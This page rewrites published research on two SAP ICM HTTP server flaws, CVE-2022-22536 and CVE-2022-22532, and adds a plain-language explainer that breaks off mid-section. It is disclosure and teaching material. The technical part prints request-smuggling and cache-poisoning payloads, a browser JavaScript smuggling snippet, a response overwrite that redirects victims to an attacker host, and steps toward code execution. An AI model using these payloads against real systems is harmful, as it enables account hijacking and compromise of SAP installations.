Advanced Inter-Process Desynchronization in SAP’s HTTP Server
Two memory corruption flaws in SAP's ICM HTTP server let unauthenticated attackers desynchronise shared-memory buffers between the HTTP front end and backend processes. This allowed request/response smuggling, cache poisoning, account hijacking and ultimately remote code execution.
Published on i.blackhat.com
Advanced Inter-Process Desynchronization in SAP’s HTTP Server Martin Doyhenard Onapsis [email protected]
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
The SAP Internet Communication Manager (ICM) is the component of an SAP NetWeaver Application Server that talks to the outside world. It understands several protocols, including P4, IIOP and SMTP, but its core job is to act as the SAP HTTP(S) server. It is present and exposed by default on an SAP Java stack, and it is required to run web applications on SAP ABAP (Web Dynpro) and S/4HANA systems. The ICM is also part of the SAP Web Dispatcher, so it typically sits between most SAP application servers and their clients, which may be the internet. For this research the ICM can be treated as an HTTP server that ships with all SAP products.
Like most HTTP servers, the ICM uses multiple threads to handle TCP connections. When a client opens a connection to the HTTP port, the Thread Control assigns a Worker Thread from the pool to handle the incoming data. Because the ICM supports different language stacks such as Java and ABAP, all business logic, including the engines that process requests, lives outside the HTTP service process. The ICM and the Java/ABAP side therefore have to exchange requests, responses and connection information. Each connection is assigned a Memory Pipe Handler that manages the request and response pipes and the out-of-band communication between processes.
The ICM can also answer some requests itself, using internal handler functions compiled into the binary. Depending on the URI prefix, these local handlers are called in order, and all of them work only on the Headers data structure that the ICM builds when it parses the request. The subhandlers documented by SAP are:
- Logging Handler (
HttpLogHandler): records HTTP requests. - Authentication Handler (
HttpAuthHandler): performs the authorisation check for the requested page. - Server Cache Handler (
HttpCacheHandler): reads from and writes to the ICM server cache. It reads the request, delivers the cache entry if the object is cached, passes the request to the next handler on a cache miss or access error, and stores the entry in the cache before sending the response. - Admin Handler (
HttpAdmHandler): processes administration requests. - Modification Handler (
HttpModHandler): can change the HTTP request, including header fields and URL values. - File Access Handler (
HttpFileAccessHandler): returns a file from the file system, for static files, images and HTML pages. The URL prefixes are configured in theicm/HTTP/file_access_<xx>parameter. - Redirect Handler (
HttpRedirectHandler): forwards the request to another HTTP server. The prefixes are configured inicm/HTTP/redirect_<xx>. - ABAP Handler: forwards the request to the AS ABAP and waits for a response. A user context is created in the work process only when this handler is used.
- Java Handler (
HttpJ2EE2Handler): forwards the request to the integrated Application Server Java.
Reversing the ICM binary revealed three additional subhandlers, HttpPublicHandler, HttpFilterHandler and HttpTestHandler, which are likely related to the ICM's role in the SAP Web Dispatcher (web proxy).
Memory pipes and MPI buffers
The ICM dispatches HTTP messages to worker processes (Java/ABAP) over inter-process communication by writing to and reading from shared memory. Memory Pipes and MPI Buffers belong to what SAP calls the Fast Channel Architecture: a set of data structures that represent shared memory as a queue of MPI Buffers plus the associated pipes pointing at them. They are created at ICM startup with shmget and other System V shared memory functions. MPI objects are effectively an ICM API for shared memory handling, comparable to how the glibc malloc/free API handles heap regions. Each thread gets an MPI handler that allocates and deallocates buffers. This handler is not an internal HTTP handler and not a classic IPC pipe; the name only refers to SAP's proprietary API.
MPI Buffers are fixed-size shared memory regions of 2^16 bytes that hold either control data or HTTP messages. Request and response buffers carry an 80-byte header, and a null byte marks the end of the message body. Each buffer therefore stores at most 2^16 - 80 - 1 = 65455 bytes of HTTP data:
80 bytes HEADER
65456 bytes HTTP DATA
0x00
Because an HTTP message can exceed 65455 bytes, one request or response may need several buffers. The MPI handler records the number of buffers and the address pointer of each in an out-of-band (OOB) extra buffer that is also passed to the other process through shared memory. The ICM maximum HTTP header length is 65455 bytes, the same size as an MPI buffer, so the whole header set fits in a single buffer and any additional buffer holds body data that the HTTP parser and handlers do not need. MPI buffers are multipurpose: the same memory can hold requests, responses or OOB data, and the difference is only in what the handler writes. OOB buffers have no header and carry the information used to recover HTTP data.
HTTP workflow
The ICM receives data from the internet, parses it, runs it through handlers and passes it to the target process through shared memory. The full path of a request looks like this.
Step 1: Init/recover connection. When a message arrives on the HTTP/S port, a Worker Thread wakes from the pool and is assigned to the connection. If the TCP connection already existed, the previously assigned Worker Thread is retrieved. For a new connection, four memory pipes are taken from the MPI queue and stored in the thread. The thread can then obtain memory buffers for the incoming and outgoing HTTP message. These objects hold pointers to the MPI buffers used by the connection plus metadata: type, in use or freed, empty, last written position, next buffer and others.
Step 2: Receive the request. The Worker Thread obtains a new MPI buffer with IcmMpiGetOutbuf, which returns, among other things, the pointer to the start of the buffer. The ICM then knows the buffer address in shared memory and its ID. Once the Request Pipe Handler has the buffer, the MPI header is set with IcmMpiSetHeaderData, containing the header size, buffer type, associated memory pipe and control flags. For a request buffer the type is always 1 and the length is 80 bytes. The thread then calls IcmReadFromConn to read the HTTP request from the TCP connection. If the request is longer than the buffer minus the 80 header bytes and the null terminator, only the first 65455 bytes are copied into the buffer and the rest goes into another MPI buffer later. The first function of the parsing step checks that the end-of-headers sequence 0x0d 0x0a 0x0d 0x0a is present. If it is not:
- when the bytes received are greater than or equal to 65455 and no
\r\n\r\nis found in the first buffer, the ICM discards the request and answers with an error message; - when fewer than 65455 bytes arrived and no terminator is found, the Worker Thread sleeps until more data arrives on the same connection, because the headers must be complete before parsing.
Step 3: Parse request headers. With the headers fully in the buffer, HttpParseRequestHeader parses the header names and values and builds the Headers data structure. It recognises Host, Content-Length, Transfer-Encoding, the HTTP version from the request line (treated as a header), Connection (keep-alive/close) and Sap-cancel-on-close. The URI and HTTP method are parsed too but stored separately. The headers are then used to decide whether the whole request is in the buffer, whether there are pipelined requests, whether the transfer encoding is chunked, whether the virtual host exists, and similar questions. After that, HttpSrvHdlRequest, the main HTTP handler function, uses the method and URI to choose and order the subhandlers that will try to resolve the request. The name-value pairs live in a dictionary used by the ICM and the subhandlers, so the raw request in the MPI buffer is not used again by the ICM; it is used once by the Java/ABAP process if the appropriate process handler is called.
Step 4: ICM subhandlers. Each handler is called depending on URI prefix and HTTP method. Some handlers, such as HttpModHandler, HttpCacheHandler and the Java/ABAP handler, are always in the hierarchy. If a subhandler produces the response, the remaining subhandlers are skipped and the response goes back to the client, with the exception of the logging handler, which logs and forwards to the next subhandler. Being in the hierarchy does not mean a handler will answer: many check whether the request fits their requirements and otherwise pass it on. Request data is retrieved on demand. By default only the header bytes are in the MPI buffer, so when the first subhandler runs the rest of the request is still waiting on the TCP connection. Only when a handler needs the body, for example HttpJ2EE2Handler, is the rest read and copied into MPI buffers, possibly several. If a handler resolves the request before all data is read, the Worker Thread discards the rest of the request. For example:
GET /SomeServlet HTTP/1.1
Host: sapserver.com
Content-Length: 70000
<70000-bytes>
The headers fit in the first 65455 bytes, so only those are copied into the first MPI out buffer. The headers are parsed and the subhandlers are called. The internal subhandlers do not resolve this request, so HttpJ2EE2Handler is called, and at that moment the body bytes are read into a new MPI buffer. The buffers are then flushed to the Java server process, meaning the shared memory pointer is sent to it. The Java process resolves the request and returns an HTTP response.
Step 5: Communicate response. The Java/ABAP process creates one or more MPI buffers holding the HTTP response and sends the reference to the MPI in buffer to the Worker Thread, which retrieves the response. MPI in buffers come from the same queue as MPI out buffers, so one shared memory region can serve as a request buffer for one thread or process and later as a response buffer for the same or a different connection. Response headers are parsed with HttpParseResponseHeader. Among the recognised names is sap-cache-control, which is used afterwards to decide whether the cache response handler should run.
Step 6: Dispatch response. The ICM retrieves all response MPI buffers from shared memory using the pointers returned by the Java/ABAP process and sends the HTTP message over the open TCP connection.
Step 7: Clean MPI buffers. All MPI buffers are freed so other connections can use them. Freeing marks the buffer unused, increments the free MPI counter and returns the buffer IDs to the MPI queue. Request and response buffers are freed at different points, and a FreeAllMPIBuffers() function ensures no buffer stays reserved once the response is delivered. The Worker Thread then sleeps until a new request arrives.
Setup
The research targets the ICM as shipped in SAP NetWeaver Application Server, in both Java and ABAP stacks, and in the SAP Web Dispatcher. The two vulnerabilities are CVE-2022-22536 (MPI desynchronisation) and CVE-2022-22532 (MPI use-after-free). Both are remotely exploitable by unauthenticated attackers. The work involved reversing the ICM binary to identify the internal handlers and the MPI functions named above. The paper does not describe a specific lab build, account or tooling beyond that reversing work; the exploitation examples use ordinary HTTP requests and, for the browser scenario, JavaScript.
Finding it
Two properties of the design stood out. First, the ICM parses only the first MPI buffer, because the headers always fit in one, and it fetches the body only when a handler needs it. If a request larger than 2^16 bytes is resolved by a static handler before it reaches the Java/ABAP process, the buffers holding the body are never used. The remaining data, which should have been consumed according to the message-length header, stays in the network queue. The bytes after offset 65455 are then treated as a new request, which no proxy parser will agree with, and the connection desynchronises.
Second, the buffer lifecycle is wrong around pipelining. The ICM supports pipelined requests: extra data after the end of the first request is placed in another MPI buffer obtained with IcmMpiGetOutbuf, and parsing continues as if no extra data existed. When the first response is sent, the Worker Thread calls MpiIFreeAllBuffers() and releases every buffer, including the pipelined one. Other Worker Threads can then claim that buffer while the pipelined request's connection still holds a reference to it, so one connection can affect the request or response of another that holds the same memory reference.
Exploitation
Step 1: Desynchronise the connection with an oversized request (CVE-2022-22536)
Send a request larger than 2^16 bytes that a static handler will resolve. The handler answers before the body is needed, the body buffers are discarded, and the payload after byte 65455 is parsed as a fresh request. Because the attack does not depend on any special header, it can be delivered from HTML and JavaScript, so a malicious page can make a victim's browser perform the smuggling. The result is request and response smuggling that can take over the target system.
Step 2: Smuggle a HEAD response to desynchronise the proxy
Response smuggling targets the response queue. HTTP/1.1 allows a HEAD response to carry the original Content-Length (non-zero), which proxies and clients must ignore because the request was HEAD. A response with an empty body and a Content-Length greater than 0 is therefore legal, and every proxy forwarding it must know it belongs to a HEAD request. If a smuggled request hidden from the proxy contains a HEAD message, the backend produces headers only, but the proxy treats the Content-Length as valid and waits for a body. The proxy, here the Web Dispatcher, associates that response with the next request that arrives, the one after the malicious payload.
In the example, three responses come back (GET, HEAD, GET) but the proxy matches the first two to the first two GET requests. The first response is forwarded normally; the second carries the Content-Length header with an empty body, so the Web Dispatcher waits for that many bytes to use as the body.
Step 3: Poison an arbitrary URL through the cache
By choosing response headers that include Cache-Control with max-age>0, the attacker makes the proxy store the concatenated response in the web cache and poison the URL of the last GET request. If the concatenated body contains reflected data that executes JavaScript, every user who requests that URL receives the cached payload. Multiple injected responses (GET+HEAD+ANY) can build a more complex payload, such as permanently replacing a login page with a single request. The following request poisons an arbitrary URL with a malicious JS payload:
GET /sap/admin/public/default.html?a HTTP/1.1
Host: www.SapServer.com
Content-Length: <length_until_last_GET_request>
Padding: <padding_to_complete_65455_bytes>
HEAD /webdynpro/welcome/Welcome.html HTTP/1.1
Host: <host>
HEAD http://<img%20src=""%20onerror="alert('XSS')">/nwa HTTP/1.1
Host: www.SapServer.com
Content-Length: 1
GET /poisoned_URL HTTP/1.1
Host: aaaaa.com
Connection: close
Step 4: Desynchronise a browser directly
Most HTTP desynchronisation bugs rely on header parsing errors, so the smuggling request needs a special header. CVE-2022-22536 desynchronises through an internal memory error, so the payload can be sent with basic HTML/JavaScript requests. The same holds whenever the header needed for exploitation is valid and can be sent from JavaScript to the vulnerable domain. An attacker can host a malicious page that triggers the attack when a victim renders it, making the victim's browser the front end even though each client uses a single connection. This applies when TCP pooling is disabled or no proxy is present. Hijacking the victim's browser requires a phishing step that makes the user execute:
<script>
padding = Array(65455).join("a")
smuggle = "GET /smuggled HTTP/1.1\r\nHost:www.SapServer.com\r\n\r\n"
var xhr = new XMLHttpRequest();
xhr.open("POST", "www.SapServe.comr", true);
xhr.send(padding+smuggle);
</script>
The script builds a padding string and appends a smuggled GET, then sends both in one POST. The paper notes that this technique can be turned into a desynchronisation botnet that compromises every client's connection and persists with a single request, and that the same idea works with response smuggling and JS cache poisoning.
Step 5: Hijack a buffer with an incomplete pipelined request (CVE-2022-22532)
Send two pipelined messages. The first is processed normally. The second is placed in a new buffer, and when the Worker Thread handles it, parsing and flushing by the last HTTP handler would raise an MPI error. If the pipelined request is incomplete, however, the Worker Thread asks for more data and sleeps until it arrives. That happens when no header terminator is found or when Content-Length is larger than the body received. While it sleeps, another Worker Thread or process (Java/ABAP) uses the same buffer for a different connection, the victim. The attacker then sends more data, which is written into that buffer at the expected offset, tampering an arbitrary number of bytes.
For example, the attacker sends:
GET / HTTP/1.1
Host: sapserver.com
Content-Length: 0
01234
The string 01234 is treated as a pipelined message. When Worker Thread WT parses it, it finds the request incomplete (no line break sequence) and sleeps waiting for more data. Another Worker Thread WT_X then handles a different connection using the same buffer for the arriving request:
GET /someValidURL?param1=a¶m2=b HTTP/1.1
Host: sapServer.com
Cookies: sessionId=secretcookie123
Meanwhile the attacker sends:
otherURL?param1=c#
WT wakes and writes the payload at position 5, right after the last byte of 01234, overwriting the bytes of WT_X's request because they share the buffer:
GET /otherURL?param1=c#\001=a¶m2=b HTTP/1.1
Host: sapServer.com
Cookies: sessionId=secretcookie123
When WT_X parses the victim's message or flushes it to the Java/ABAP process, the tampered request is used and the attacker controls the victim's connection. A null byte follows the write. If it lands in the body, both the parser and the Java/ABAP process handle it; if it lands in the headers, only the other processes exit normally and the HTTP parser throws an error because null bytes are not allowed there. This matters when analysing exploitation results.
Step 6: Tamper responses and poison the cache
The use-after-free can be exploited with request and response smuggling techniques without any proxy, and the attacker can overwrite the victim's request outright rather than injecting a prefix. Because MPI buffers are shared between requests and responses, the same technique tampers response data, which is useful for hijacking traffic with an HTTP 308 redirect. To persist, the attacker can poison the ICM's internal web cache by tampering a valid HTTP response. Original response:
HTTP/1.1 200 OK
server: SAP NetWeaver Application Server 7.53 / AS Java 7.50
content-type: text/html; charset=utf-8
content-length: 10
HelloWorld
Attacker payload, starting from the 4th position as in the previous example:
1.1 308 Found
server: SAP NetWeaver Application Server 7.53 / AS Java 7.50
location: http://maliciousHost.com
X-other:
Final response to the victim:
HTTP/1.1 308 Found
server: SAP NetWeaver Application Server 7.53 / AS Java 7.50
location: http://maliciousHost.com
X-other:
length: 10
HelloWorld
The overwrite turns the status line into a 308 redirect to the attacker's host while keeping the rest of the original response. Including the Sap-Cache-Control header in the injected response stores the malicious response in the cache, just as in HTTP response smuggling with arbitrary web cache poisoning.
Step 7: Target OOB buffers for code execution
MPI buffers also carry control data in out-of-band pipes, including memory pointers and connection state. Tampering with them can crash the ICM or take control of the process and run native code. The window is tighter than for request and response buffers, because OOB data is written and read almost immediately, so a write into a freed hijacked buffer is more likely to hit a request or response. To improve the odds, the attacker can force an ICM Worker Thread to forward a request while all Java Threads are busy. Each ICM thread handling a TCP connection requests two OOB buffers: one to send request information to the worker process and one to read responses. The ICM thread writes the request into data buffers and marks the out OOB as ready; a Java Thread sees the request and uses the OOB information to find the memory regions and metadata. Idle Java Threads are always waiting for OOB data, so the gap is normally tiny, but when all Java Threads are busy the OOB buffer is written and only read when a Java Thread frees up. Default installations have more ICM Worker Threads than Java HTTP threads, so sending more requests on different TCP connections than there are Java Threads leaves some OOB buffers idle. Once in control of an OOB buffer, the attacker can modify the address pointers of the related request buffers and reuse the incomplete-request technique, this time making the ICM write arriving bytes to the address named by the OOB buffer, a write-what-where condition. With enough knowledge of the memory layout, Ret2libc and ROP techniques could turn this into an RCE payload, although the complexity makes that exploitation less probable in the wild.
Root cause
CVE-2022-22536 is a design flaw in how the ICM consumes request data. Only the first MPI buffer is parsed, and the body is fetched on demand. When a static handler resolves an oversized request, the unconsumed body is left in the network queue and parsed as a new request, which disagrees with any proxy's parser. The attack needs no special header.
CVE-2022-22532 is a lifetime bug. MpiIFreeAllBuffers() releases every buffer belonging to the connection, including the buffer holding a pipelined request that is still referenced by that connection. The buffer returns to the shared queue and can be handed to another thread or process while the original reference remains, giving a use-after-free across connections. Because request, response and OOB data share the same pool, the corruption can land in any of them.
Impact
Both vulnerabilities are remotely exploitable without authentication and can completely compromise an SAP installation. CVE-2022-22536 enables request and response smuggling that can hijack every user's account, poison arbitrary URLs in the web cache, and, through a malicious page, make a victim's browser carry out the attack. CVE-2022-22532 allows tampering with other connections' requests and responses, hijacking sessions through injected redirects, poisoning the ICM cache, and, via OOB buffers, crashing the ICM or potentially achieving remote code execution. The affected components are designed to be exposed to the internet, so anyone with access to the HTTP(S) port of a Java or ABAP system could take over the applications and in some circumstances the host OS. The vulnerabilities were addressed by US CISA and CERTs worldwide, and SAP and CISA consider all unpatched SAP applications at risk.
Fix
The vulnerabilities are fixed by applying the corresponding SAP Security Notes, which are rated with the highest CVSS scores. The paper does not describe the code changes themselves. Organisations should prioritise patching affected systems as soon as possible.
Variants to test
- Send a request larger than 65455 bytes to a URI served by a static handler (file access, redirect, cache) and append a second request after the boundary. A positive result is the second request being processed as a new request while a front-end proxy sees only one.
- Send a HEAD request smuggled behind a padded GET and observe whether the proxy applies the HEAD response's
Content-Lengthto the following response. A positive result is the proxy waiting for a body or misaligning subsequent responses. - Include
Cache-Controlwithmax-age>0in a smuggled response and request the poisoned URL afterwards. A positive result is the cached malicious body being served to other clients. - Deliver the oversized request from JavaScript in a browser with TCP pooling disabled or no proxy. A positive result is the smuggled request being processed on the victim's connection.
- Send two pipelined requests where the second is incomplete (no terminator, or
Content-Lengthlarger than the body) and then send more data while another connection is active. A positive result is the victim's request being altered at the expected offset. - Tamper a response with a 308 redirect payload and check whether the victim receives the injected
location. A positive result is the victim being redirected to the attacker's host. - Saturate the Java HTTP threads with requests on many TCP connections and then send an incomplete request to hit an OOB buffer. A positive result is a crash or corrupted connection state indicating pointer tampering.
What happened, in plain words
SAP makes large business software: the kind of system a company uses to run its payroll, its warehouse, its customer records and its web portals. Almost every one of those systems has a piece that faces the internet, called the Internet Communication Manager, or ICM. It is the doorman that receives web requests from browsers and passes them inward to the part of SAP that does the actual work.
Two bugs were found in that doorman. Both could be triggered by anyone who could reach the web port, with no username and no password. The first bug let an attacker slip a hidden extra request past the doorman so that the system and any proxy in front of it disagreed about where one request ended and the next began. Security people call that request smuggling or desynchronisation. The second bug let an attacker write into a piece of memory that another user's connection was still using, which allowed tampering with other people's requests and responses, and in the worst case running code on the server.
The two bugs are tracked as CVE-2022-22536 and CVE-2022-22532. The research was published by Martin Doyhenard of Onapsis. US CISA and national CERTs around the world warned about them, which tells you how widely SAP is deployed.
This article walks through the whole story slowly. Every term is explained the first time it appears, and every request and payload from the research is shown exactly as it was published, with a line-by-line explanation underneath.
Background: what SAP and the ICM are
The SAP Internet Communication Manager (ICM) is the component of an SAP NetWeaver Application Server that talks to the outside world. It understands several protocols, including P4, IIOP and SMTP, but its core job is to act as the SAP HTTP(S) server.
A few words on those terms. A protocol is an agreed set of rules for two computers to exchange data, like the etiquette of a conversation. HTTP is the protocol your browser uses to fetch web pages. HTTPS is the same thing wrapped in encryption so nobody on the network can read it. SMTP is the protocol for sending email. IIOP is a protocol used by some Java systems to talk to each other. P4 is another SAP-specific protocol. You do not need to know the details: the point is that the ICM speaks many languages, and the one that matters here is HTTP.
The ICM is present and exposed by default on an SAP Java stack, and it is required to run web applications on SAP ABAP (Web Dynpro) and S/4HANA systems. Java and ABAP are the two main programming languages and runtime environments inside SAP: roughly, one side of the product is written in Java, the other in SAP's own language ABAP. Web Dynpro is SAP's framework for building browser-based screens. S/4HANA is SAP's current flagship business suite. "Exposed by default" means the service is switched on and reachable unless an administrator deliberately changes that.
The ICM is also part of the SAP Web Dispatcher, so it typically sits between most SAP application servers and their clients, which may be the internet. A Web Dispatcher is a piece of software that stands in front of one or more application servers and forwards incoming traffic to them, a bit like a receptionist who takes all visitors and directs them to the right office. For this research the ICM can be treated as an HTTP server that ships with all SAP products.
How the ICM handles connections
Like most HTTP servers, the ICM uses multiple threads to handle TCP connections. A thread is a unit of work inside a program: one program can run many threads at once, each handling a different task, like several cashiers working the same shop. TCP is the underlying protocol that carries a reliable stream of bytes between two computers; an HTTP conversation happens inside a TCP connection. When a client opens a connection to the HTTP port, the Thread Control assigns a Worker Thread from the pool to handle the incoming data. A Worker Thread here is simply one of those cashiers, taken from a pool of idle ones.
Because the ICM supports different language stacks such as Java and ABAP, all business logic, including the engines that process requests, lives outside the HTTP service process. Business logic means the actual rules of the application: checking a password, looking up an invoice, building a page. The ICM and the Java/ABAP side therefore have to exchange requests, responses and connection information. Each connection is assigned a Memory Pipe Handler that manages the request and response pipes and the out-of-band communication between processes. We will come back to memory pipes in detail; for now, think of them as internal channels for passing messages between the doorman and the offices behind it.
Internal handlers
The ICM can also answer some requests itself, using internal handler functions compiled into the binary. A binary is the compiled program file that the computer actually runs. A handler is a small routine that deals with one kind of request. Depending on the URI prefix, these local handlers are called in order, and all of them work only on the Headers data structure that the ICM builds when it parses the request. The URI is the part of a web address after the domain, for example /shop/cart in https://example.com/shop/cart. A prefix is the beginning of that path, so a handler might be configured to react to every URI starting with /sap/. Headers are the labelled lines at the top of an HTTP message, such as Host: or Content-Length:, which describe the message rather than carry its content.
The subhandlers documented by SAP are:
- Logging Handler (
HttpLogHandler): records HTTP requests. Like a visitor log at the door. - Authentication Handler (
HttpAuthHandler): performs the authorisation check for the requested page. Authentication is proving who you are; authorisation is checking whether you are allowed to do what you asked. - Server Cache Handler (
HttpCacheHandler): reads from and writes to the ICM server cache. It reads the request, delivers the cache entry if the object is cached, passes the request to the next handler on a cache miss or access error, and stores the entry in the cache before sending the response. A cache is a store of ready-made answers kept so the system does not have to rebuild the same page every time; a cache miss means the answer was not there. - Admin Handler (
HttpAdmHandler): processes administration requests. - Modification Handler (
HttpModHandler): can change the HTTP request, including header fields and URL values. - File Access Handler (
HttpFileAccessHandler): returns a file from the file system, for static files, images and HTML pages. The URL prefixes are configured in theicm/HTTP/file_access_<xx>parameter. A static file is one that is simply stored on disk and sent as-is, like a picture or a plain HTML page, as opposed to a page built fresh for each visitor. - Redirect Handler (
HttpRedirectHandler): forwards the request to another HTTP server. The prefixes are configured inicm/HTTP/redirect_<xx>. A redirect is an instruction to the browser to go somewhere else instead. - ABAP Handler: forwards the request to the AS ABAP and waits for a response. A user context is created in the work process only when this handler is used. A user context is the server-side memory of who is logged in and what they are doing.
- Java Handler (
HttpJ2EE2Handler): forwards the request to the integrated Application Server Java.
Reversing the ICM binary revealed three additional subhandlers, HttpPublicHandler, HttpFilterHandler and HttpTestHandler, which are likely related to the ICM's role in the SAP Web Dispatcher (web proxy). Reversing means taking a compiled program and working backwards to understand what it does, since the source code is not available. A web proxy is a server that sits between clients and backends and forwards traffic for them.
Memory pipes and MPI buffers
The ICM dispatches HTTP messages to worker processes (Java/ABAP) over inter-process communication by writing to and reading from shared memory. Inter-process communication, or IPC, is any way for two separate programs on the same machine to exchange data. Shared memory is a region of memory that more than one program can read and write, like a whiteboard in a shared office that several people can walk up to and use.
Memory Pipes and MPI Buffers belong to what SAP calls the Fast Channel Architecture: a set of data structures that represent shared memory as a queue of MPI Buffers plus the associated pipes pointing at them. A data structure is an organised way of storing related pieces of information together. A queue is a line: items are taken from the front in the order they arrived. They are created at ICM startup with shmget and other System V shared memory functions. shmget is a standard operating-system call that asks the kernel to create a shared memory segment. System V is a family of older Unix interfaces that includes this call.
MPI objects are effectively an ICM API for shared memory handling, comparable to how the glibc malloc/free API handles heap regions. An API is a defined set of functions one piece of software offers to another, like a menu of services you can order. malloc and free are the standard C library functions for reserving and releasing memory; glibc is the standard C library on Linux. The heap is the general-purpose pool of memory a program uses for data it creates while running. Each thread gets an MPI handler that allocates and deallocates buffers. Allocate means reserve for use; deallocate means give back. This handler is not an internal HTTP handler and not a classic IPC pipe; the name only refers to SAP's proprietary API.
MPI Buffers are fixed-size shared memory regions of 2^16 bytes that hold either control data or HTTP messages. 2^16 is 65,536. Control data is information about the message rather than the message itself, such as where it lives and how long it is. Request and response buffers carry an 80-byte header, and a null byte marks the end of the message body. A null byte is a byte with the value zero, often used as a terminator to say "the data stops here". Each buffer therefore stores at most 2^16 - 80 - 1 = 65455 bytes of HTTP data:
80 bytes HEADER
65456 bytes HTTP DATA
0x00
This diagram shows the layout of one buffer: the first 80 bytes are the buffer's own header, the next 65,456 bytes are available for HTTP data, and a final null byte (0x00) marks the end. The arithmetic in the text (65,536 minus 80 minus 1) gives the 65,455 usable bytes for actual HTTP content.
Because an HTTP message can exceed 65455 bytes, one request or response may need several buffers. The MPI handler records the number of buffers and the address pointer of each in an out-of-band (OOB) extra buffer that is also passed to the other process through shared memory. A pointer is a number that says where in memory something lives, like a street address. Out-of-band, or OOB, means data that travels alongside the main message to describe it, rather than being part of it.
The ICM maximum HTTP header length is 65455 bytes, the same size as an MPI buffer, so the whole header set fits in a single buffer and any additional buffer holds body data that the HTTP parser and handlers do not need. A parser is the part of a program that reads raw text and works out its structure, in this case which lines are headers and where the body starts. MPI buffers are multipurpose: the same memory can hold requests, responses or OOB data, and the difference is only in what the handler writes. OOB buffers have no header and carry the information used to recover HTTP data.
HTTP workflow
The ICM receives data from the internet, parses it, runs it through handlers and passes it to the target process through shared memory. The full path of a request looks like this.
Step 1: Init/recover connection. When a message arrives on the HTTP/S port, a Worker Thread wakes from the pool and is assigned to the connection. If the TCP connection already existed, the previously assigned Worker Thread is retrieved. For a new connection, four memory pipes are taken from the MPI queue and stored in the thread. The thread can then obtain memory buffers for the incoming and outgoing HTTP message. These objects hold pointers to the MPI buffers used by the connection plus metadata: type, in use or freed, empty, last written position, next buffer and others. Metadata is data about data: here, bookkeeping notes describing the state of each buffer.
Step 2: Receive the request. The Worker Thread obtains a new MPI buffer with IcmMpiGetOutbuf, which returns, among other things, the pointer to the start of the buffer. The ICM then knows the buffer address in shared memory and its ID. Once the Request Pipe Handler has the buffer, the MPI header is set with IcmMpiSetHeaderData, containing the header size, buffer type, associated memory pipe and control flags. For a request buffer the type is always 1 and the length is 80 bytes. The thread then calls IcmReadFromConn to read the HTTP request from the TCP connection. If the request is longer than the buffer minus the 80 header bytes and the null terminator, only the first 65455 bytes are copied into the buffer and the rest goes into another MPI buffer later.
The first function of the parsing step checks that the end-of-headers sequence 0x0d 0x0a 0x0d 0x0a is present. 0x0d is the carriage-return character and 0x0a is the line-feed character; together they mark the end of a line in HTTP, and two of them in a row mark the blank line that separates headers from body. If the sequence is not found:
- when the bytes received are greater than or equal to 65455 and no
\r\n\r\nis found in the first buffer, the ICM discards the request and answers with an error message; - when fewer than 65455 bytes arrived and no terminator is found, the Worker Thread sleeps until more data arrives on the same connection, because the headers must be complete before parsing.
Step 3: Parse request headers. With the headers fully in the buffer, HttpParseRequestHeader parses the header names and values and builds the Headers data structure. It recognises Host, Content-Length, Transfer-Encoding, the HTTP version from the request line (treated as a header), Connection (keep-alive/close) and Sap-cancel-on-close. A quick guide to those names: Host says which website the client wants; Content-Length says how many bytes the body contains; Transfer-Encoding says whether the body is sent in chunks; Connection: keep-alive asks to keep the TCP connection open for further requests, while close asks to shut it after this one; Sap-cancel-on-close is an SAP-specific header.
The URI and HTTP method are parsed too but stored separately. The method is the verb of the request: GET means "give me this", POST means "here is data, act on it", HEAD means "give me only the headers, not the body". The headers are then used to decide whether the whole request is in the buffer, whether there are pipelined requests, whether the transfer encoding is chunked, whether the virtual host exists, and similar questions. Pipelining means sending several requests one after another on the same connection without waiting for the first answer. A virtual host is one of several websites served by the same server, distinguished by the Host header.
After that, HttpSrvHdlRequest, the main HTTP handler function, uses the method and URI to choose and order the subhandlers that will try to resolve the request. The name-value pairs live in a dictionary used by the ICM and the subhandlers, so the raw request in the MPI buffer is not used again by the ICM; it is used once by the Java/ABAP process if the appropriate process handler is called. A dictionary here is a lookup table of names and their values.
Step 4: ICM subhandlers. Each handler is called depending on URI prefix and HTTP method. Some handlers, such as HttpModHandler, HttpCacheHandler and the Java/ABAP handler, are always in the hierarchy. If a subhandler produces the response, the remaining subhandlers are skipped and the response goes back to the client, with the exception of the logging handler, which logs and forwards to the next subhandler. Being in the hierarchy does not mean a handler will answer: many check whether the request fits their requirements and otherwise pass it on.
Request data is retrieved on demand. By default only the header bytes are in the MPI buffer, so when the first subhandler runs the rest of the request is still waiting on the TCP connection. Only when a handler needs the body, for example HttpJ2EE2Handler, is the rest read and copied into MPI buffers, possibly several. If a handler resolves the request before all data is read, the Worker Thread discards the rest of the request. For example:
GET /SomeServlet HTTP/1.1
Host: sapserver.com
Content-Length: 70000
<70000-bytes>
Line by line: GET /SomeServlet HTTP/1.1 asks for the path /SomeServlet using version 1.1 of HTTP. Host: sapserver.com names the website. Content-Length: 70000 announces that 70,000 bytes of body follow. <70000-bytes> is a placeholder for those 70,000 bytes of actual content.
The headers fit in the first 65455 bytes, so only those are copied into the first MPI out buffer. The headers are parsed and the subhandlers are called. The internal subhandlers do not resolve this request, so HttpJ2EE2Handler is called, and at that moment the body bytes are read into a new MPI buffer. The buffers are then flushed to the Java server process, meaning the shared memory pointer is sent to it. Flushing here means handing the data over to the other process. The Java process resolves the request and returns an HTTP response.
Step 5: Communicate response. The Java/ABAP process creates one or more MPI buffers holding the HTTP response and sends the reference to the MPI in buffer to the Worker Thread, which retrieves the response. MPI in buffers come from the same queue as MPI out buffers, so one shared memory region can serve as a request buffer for one thread or process and later as a response buffer for the same or a different connection. Response headers are parsed with HttpParseResponseHeader. Among the recognised names is sap-cache-control, which is used afterwards to decide whether the cache response handler should run.
Step 6: Dispatch response. The ICM retrieves all response MPI buffers from shared memory using the pointers returned by the Java/ABAP process and sends the HTTP message over the open TCP connection.
Step 7: Clean MPI buffers. All MPI buffers are freed so other connections can use them. Freeing marks the buffer unused, increments the free MPI counter and returns the buffer IDs to the MPI queue. Request and response buffers are freed at different points, and a FreeAllMPIBuffers() function ensures no buffer stays reserved once the response is delivered. The Worker Thread then sleeps until a new request arrives.
Setup
The research targets the ICM as shipped in SAP NetWeaver Application Server, in both Java and ABAP stacks, and in the SAP Web Dispatcher. The two vulnerabilities are CVE-2022-22536 (MPI desynchronisation) and CVE-2022-22532 (MPI use-after-free). A CVE is a public catalogue number for a known vulnerability, so people can refer to the same bug unambiguously. A use-after-free is a bug where a program keeps using a piece of memory after it has officially given it back, so someone else may already have taken it over.
